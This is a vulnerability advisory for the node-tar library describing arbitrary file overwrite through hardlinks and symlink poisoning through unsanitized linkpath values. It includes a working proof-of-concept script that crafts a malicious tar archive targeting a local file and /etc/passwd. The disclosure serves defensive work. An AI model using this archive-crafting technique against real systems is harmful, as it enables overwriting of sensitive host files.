node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})